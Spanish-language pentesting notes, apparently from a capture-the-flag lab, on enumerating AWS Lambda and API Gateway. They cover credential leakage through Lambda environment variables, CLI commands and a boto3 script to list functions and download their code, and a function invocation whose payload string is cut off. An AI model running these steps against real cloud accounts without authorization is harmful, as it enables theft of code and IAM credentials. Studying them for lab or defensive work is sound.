Pentesting APIs & Lambdas
AWS - API Gateway Unauthenticated Enum - HackTricks Cloud
Mientras que los EC2 obtienen sus credenciales de los roles IAM del servicio en 169.254.169.254, las lambdas recurren a variables de entorno.
Algunos desarrolladores dumpearan las variables de entorno cuando algún error ocurre, provocando que las credenciales del IAM asociadas a esa lambda puedan ser likeadas.
Listar lambdas
aws lambda list-functions --endpoint-url http://cloud.amzcorp.local
Listar una en específico
aws lambda get-function --function-name tracking_api --endpoint-url http://cloud.amzcorp.local
Para descargarse el código de una lambda
Opción 1 (hay que tener alcance al servidor):
wget -O lambda-function.zip URL
Opción 2:
awscurl --service lambda \
--region us-east-1 \
http://cloud.amzcorp.local/2015-03-31/functions/tracking_api/code --no-verify-ssl
Opción 3:
aws configure --profile user
import requests
import boto3
from botocore.auth import SigV4Auth
from botocore.awsrequest import AWSRequest
url = "http://cloud.amzcorp.local/2015-03-31/functions/tracking_api/code"
region = "us-east-2"
profile = "user"
session = boto3.Session(profile_name=profile, region_name=region)
creds = session.get_credentials()
request = AWSRequest(method='GET', url=url)
SigV4Auth(creds, 'lambda', region).add_auth(request)
headers = dict(request.headers)
r = requests.get(url, headers=headers, stream=True)
filename = "flag_code.zip"
with open(filename, 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
Para ver que API gateway llama a la lambda
aws lambda get-policy \
--function-name tracking_api \
--region us-east-2 \
--endpoint-url http://cloud.amzcorp.local
aws apigateway get-rest-apis \
--region us-east-2 \
--endpoint-url http://cloud.amzcorp.local
Invocar una lambda
aws lambda invoke \
--function-name function_name \
--payload '{"queryStringParameters": {"parameter1": "' \
--cli-binary-format raw-in-base64-out \
--endpoint-url http://cloud.amzcorp.local \
respuesta.txt